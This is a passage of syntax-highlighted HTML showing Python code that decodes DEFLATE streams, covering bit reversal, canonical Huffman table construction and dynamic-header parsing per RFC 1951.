<span><span style="color: #403F53">            </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytes.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #AA0982">self</span><span style="color: #4876D6">.current_byte</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #AA0982">self</span><span style="color: #4876D6">.bytes</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">reverse_bits</span><span style="color: #111111">(</span><span style="color: #0C969B">value</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #403F53">, </span><span style="color: #0C969B">bitlen</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; </span><span style="color: #4876D6">int</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">Reverse `bitlen` lowest bits of value.</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    rev </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> _ </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">bitlen</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        rev </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (rev </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">) </span><span style="color: #994CC3">|</span><span style="color: #403F53"> (value </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        value </span><span style="color: #994CC3">&gt;&gt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> rev</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">build_canonical_huffman</span><span style="color: #111111">(</span><span style="color: #0C969B">code_lengths</span><span style="color: #403F53">: List[</span><span style="color: #4876D6">int</span><span style="color: #403F53">]</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; Tuple[Dict[Tuple[</span><span style="color: #4876D6">int</span><span style="color: #403F53">,</span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #4876D6">int</span><span style="color: #403F53">]:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #C96765">    Build canonical Huffman mapping from symbol -&gt; length to (code_rev, length) -&gt; symbol,</span></span>
<span><span style="color: #C96765">    where code_rev is the integer value you&#39;d get by reading bits LSB-first from the stream.</span></span>
<span><span style="color: #C96765">    Returns (mapping, max_length).</span></span>
<span><span style="color: #C96765">    mapping keys are (code_as_int_read_lsb_first, length) -&gt; symbol</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    max_bits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">max</span><span style="color: #403F53">(</span><span style="color: #4876D6">code_lengths</span><span style="color: #403F53">) </span><span style="color: #994CC3">if</span><span style="color: #403F53"> code_lengths </span><span style="color: #994CC3">else</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># Count of codes for each length</span></span>
<span><span style="color: #403F53">    bl_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> (max_bits </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> l </span><span style="color: #994CC3">in</span><span style="color: #403F53"> code_lengths:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> l </span><span style="color: #994CC3">&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            bl_count[l] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># Determine the first code for each length (canonical)</span></span>
<span><span style="color: #403F53">    next_code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> (max_bits </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> bits </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #111111">,</span><span style="color: #4876D6"> max_bits </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (code </span><span style="color: #994CC3">+</span><span style="color: #403F53"> bl_count[bits </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">]) </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        next_code[bits] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code</span></span>
<span></span>
<span><span style="color: #403F53">    mapping: Dict[Tuple[</span><span style="color: #4876D6">int</span><span style="color: #403F53">,</span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #4876D6">int</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {}</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> symbol, length </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">enumerate</span><span style="color: #403F53">(</span><span style="color: #4876D6">code_lengths</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> length </span><span style="color: #994CC3">!=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            assigned_code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> next_code[length]</span></span>
<span><span style="color: #403F53">            next_code[length] </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># canonical codes are MSB-first; but DEFLATE bitstream is LSB-first,</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># so reverse bits when storing for direct lookup of bit sequences read LSB-first.</span></span>
<span><span style="color: #403F53">            code_lsb_first </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">reverse_bits</span><span style="color: #403F53">(</span><span style="color: #4876D6">assigned_code</span><span style="color: #111111">,</span><span style="color: #4876D6"> length</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            mapping[(code_lsb_first, length)] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> symbol</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> mapping, max_bits</span></span>
<span></span>
<span><span style="color: #989FB1"># order of code length code lengths (RFC 1951 3.2.7)</span></span>
<span><span style="color: #4876D6">CL_ORDER</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">16</span><span style="color: #403F53">,</span><span style="color: #AA0982">17</span><span style="color: #403F53">,</span><span style="color: #AA0982">18</span><span style="color: #403F53">,</span><span style="color: #AA0982">0</span><span style="color: #403F53">,</span><span style="color: #AA0982">8</span><span style="color: #403F53">,</span><span style="color: #AA0982">7</span><span style="color: #403F53">,</span><span style="color: #AA0982">9</span><span style="color: #403F53">,</span><span style="color: #AA0982">6</span><span style="color: #403F53">,</span><span style="color: #AA0982">10</span><span style="color: #403F53">,</span><span style="color: #AA0982">5</span><span style="color: #403F53">,</span><span style="color: #AA0982">11</span><span style="color: #403F53">,</span><span style="color: #AA0982">4</span><span style="color: #403F53">,</span><span style="color: #AA0982">12</span><span style="color: #403F53">,</span><span style="color: #AA0982">3</span><span style="color: #403F53">,</span><span style="color: #AA0982">13</span><span style="color: #403F53">,</span><span style="color: #AA0982">2</span><span style="color: #403F53">,</span><span style="color: #AA0982">14</span><span style="color: #403F53">,</span><span style="color: #AA0982">1</span><span style="color: #403F53">,</span><span style="color: #AA0982">15</span><span style="color: #111111">]</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">parse_deflate_dynamic_header</span><span style="color: #111111">(</span><span style="color: #0C969B">data</span><span style="color: #403F53">: </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">, </span><span style="color: #0C969B">bitpos</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #C96765">    Parse a dynamic Huffman header from a deflate stream starting at given bitpos.</span></span>
<span><span style="color: #C96765">    Returns (litlen_tree, dist_tree, bits_consumed, nlits, ndists, code_lengths) where:</span></span>
<span><span style="color: #C96765">      - litlen_tree and dist_tree: mapping (code_as_int_read_lsb_first, length) -&gt; symbol</span></span>
<span><span style="color: #C96765">      - bits_consumed: number of bits consumed from the starting bitpos</span></span>
<span><span style="color: #C96765">      - nlits: number of literal/length codes (HLIT + 257)</span></span>
<span><span style="color: #C96765">      - ndists: number of distance codes (HDIST + 1)</span></span>
<span><span style="color: #C96765">      - code_lengths: combined list of literal+distance code lengths</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    br </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">BitReader</span><span style="color: #403F53">(</span><span style="color: #4876D6">data</span><span style="color: #111111">,</span><span style="color: #4876D6"> bitpos</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">HLIT</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">5</span><span style="color: #403F53">)      </span><span style="color: #989FB1"># number of literal/length codes - 257</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">HDIST</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">5</span><span style="color: #403F53">)     </span><span style="color: #989FB1"># number of distance codes - 1</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">HCLEN</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">4</span><span style="color: #403F53">)     </span><span style="color: #989FB1"># number of code length codes - 4</span></span>
<span></span>
<span><span style="color: #403F53">    nlits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">HLIT</span><span style="color: #403F53"> </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">257</span></span>
<span><span style="color: #403F53">    ndists </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">HDIST</span><span style="color: #403F53"> </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">    nclen </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">HCLEN</span><span style="color: #403F53"> </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">4</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># read code length code lengths (3 bits each) in CL_ORDER</span></span>
<span><span style="color: #403F53">    cl_code_lengths </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> </span><span style="color: #AA0982">19</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">nclen</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        val </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">3</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        cl_code_lengths[</span><span style="color: #4876D6">CL_ORDER</span><span style="color: #403F53">[i]] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> val</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># build Huffman for code-length alphabet (symbols 0..18)</span></span>
<span><span style="color: #403F53">    cl_mapping, cl_maxbits </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">build_canonical_huffman</span><span style="color: #403F53">(</span><span style="color: #4876D6">cl_code_lengths</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># helper to decode one symbol from a mapping</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">decode_symbol_from_mapping</span><span style="color: #111111">(</span><span style="color: #0C969B">reader</span><span style="color: #403F53">: BitReader, </span><span style="color: #0C969B">mapping</span><span style="color: #403F53">: Dict[Tuple[</span><span style="color: #4876D6">int</span><span style="color: #403F53">,</span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #0C969B">max_len</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; </span><span style="color: #4876D6">int</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">Read up to max_len bits LSB-first trying to match a (code,length) key.</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">        code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> length </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #111111">,</span><span style="color: #4876D6"> max_len </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            b </span><span style="color: #994CC3">=</span><span style="color: #403F53"> reader.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            code </span><span style="color: #994CC3">|=</span><span style="color: #403F53"> (b </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> (length </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">))  </span><span style="color: #989FB1"># accumulate LSB-first</span></span>
<span><span style="color: #403F53">            key </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (code, length)</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> key </span><span style="color: #994CC3">in</span><span style="color: #403F53"> mapping:</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">return</span><span style="color: #403F53"> mapping[key]</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">raise</span><span style="color: #403F53"> </span><span style="color: #4876D6">ValueError</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">No matching Huffman code found while decoding</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># decode the code lengths for literal/length + distance alphabets</span></span>
<span><span style="color: #403F53">    total_codes </span><span style="color: #994CC3">=</span><span style="color: #403F53"> nlits </span><span style="color: #994CC3">+</span><span style="color: #403F53"> ndists</span></span>
<span><span style="color: #403F53">    code_lengths </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">    prev_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">code_lengths</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> total_codes:</span></span>
<span><span style="color: #403F53">        sym </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">decode_symbol_from_mapping</span><span style="color: #403F53">(</span><span style="color: #4876D6">br</span><span style="color: #111111">,</span><span style="color: #4876D6"> cl_mapping</span><span style="color: #111111">,</span><span style="color: #4876D6"> cl_maxbits</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">15</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            code_lengths.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">sym</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            prev_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> sym</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">elif</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">16</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># copy previous length 3-6 times (2 extra bits)</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">code_lengths</span><span style="color: #403F53">) </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">raise</span><span style="color: #403F53"> </span><span style="color: #4876D6">ValueError</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Code 16 with no previous length</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            repeat </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">2</span><span style="color: #403F53">) </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">3</span></span>
<span><span style="color: #403F53">            code_lengths.</span><span style="color: #0C969B">extend</span><span style="color: #403F53">(</span><span style="color: #111111">[</span><span style="color: #4876D6">prev_len</span><span style="color: #111111">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> repeat</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">elif</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">17</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># repeat zero 3-10 times (3 extra bits)</span></span>
<span><span style="color: #403F53">            repeat </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">3</span><span style="color: #403F53">) </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">3</span></span>
<span><span style="color: #403F53">            code_lengths.</span><span style="color: #0C969B">extend</span><span style="color: #403F53">(</span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> repeat</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            prev_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">elif</span><span style="color: #403F53"> sym </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">18</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># repeat zero 11-138 times (7 extra bits)</span></span>
<span><span style="color: #403F53">            repeat </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">7</span><span style="color: #403F53">) </span><span style="color: #994CC3">+</span><span style="color: #403F53"> </span><span style="color: #AA0982">11</span></span>
<span><span style="color: #403F53">            code_lengths.</span><span style="color: #0C969B">extend</span><span style="color: #403F53">(</span><span style="color: #111111">[</span><span style="color: #AA0982">0</span><span style="color: #111111">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> repeat</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            prev_len </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">else</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">raise</span><span style="color: #403F53"> </span><span style="color: #4876D6">ValueError</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&quot;Invalid symbol in code-length alphabet: </span><span style="color: #4876D6">{sym}</span><span style="color: #C96765">&quot;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #989FB1"># guard: don&#39;t overflow total</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">code_lengths</span><span style="color: #403F53">) </span><span style="color: #994CC3">&gt;</span><span style="color: #403F53"> total_codes:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># If the header is malformed we might read too many; trim and continue</span></span>
<span><span style="color: #403F53">            code_lengths </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code_lengths[:total_codes]</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># split into literal/length and distance code length arrays</span></span>
<span><span style="color: #403F53">    litlen_lengths </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code_lengths[:nlits]</span></span>
<span><span style="color: #403F53">    dist_lengths </span><span style="color: #994CC3">=</span><span style="color: #403F53"> code_lengths[nlits:nlits</span><span style="color: #994CC3">+</span><span style="color: #403F53">ndists]</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># build canonical Huffman trees for literal/length and distance</span></span>
<span><span style="color: #403F53">    litlen_tree, litlen_max </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">build_canonical_huffman</span><span style="color: #403F53">(</span><span style="color: #4876D6">litlen_lengths</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    dist_tree, dist_max </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">build_canonical_huffman</span><span style="color: #403F53">(</span><span style="color: #4876D6">dist_lengths</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    bits_consumed </span><span style="color: #994CC3">=</span><span style="color: #403F53"> br.</span><span style="color: #0C969B">get_bitpos</span><span style="color: #403F53">() </span><span style="color: #994CC3">-</span><span style="color: #403F53"> bitpos</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">litlen_tree</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: litlen_tree,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">litlen_max_bits</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: litlen_max,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">dist_tree</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: dist_tree,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">dist_max_bits</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: dist_max,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">bits_consumed</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: bits_consumed,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">nlits</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: nlits,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">ndists</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: ndists,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">litlen_lengths</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: litlen_lengths,</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;</span><span style="color: #C96765">dist_lengths</span><span style="color: #111111">&quot;</span><span style="color: #403F53">: dist_lengths</span></span>
<span><span style="color: #403F53">    }</span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">decode_symbol_from_tree</span><span style="color: #111111">(</span><span style="color: #0C969B">reader</span><span style="color: #403F53">: BitReader, </span><span style="color: #0C969B">tree</span><span style="color: #403F53">: Dict[Tuple[</span><span style="color: #4876D6">int</span><span style="color: #403F53">,</span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #4876D6">int</span><span style="color: #403F53">], </span><span style="color: #0C969B">max_len</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; </span><span style="color: #4876D6">int</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #C96765">    Decode a symbol from `reader` using the provided tree mapping produced by build_canonical_huffman.</span></span>
<span><span style="color: #C96765">    The reader will be advanced by the number of bits used.</span></span>
<span><span style="color: #C96765">    </span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    code </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> length </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #111111">,</span><span style="color: #4876D6"> max_len </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">        b </span><span style="color: #994CC3">=</span><span style="color: #403F53"> reader.</span><span style="color: #0C969B">read_bits</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        code </span><span style="color: #994CC3">|=</span><span style="color: #403F53"> (b </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> (length </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        key </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (code, length)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> key </span><span style="color: #994CC3">in</span><span style="color: #403F53"> tree:</span></span>
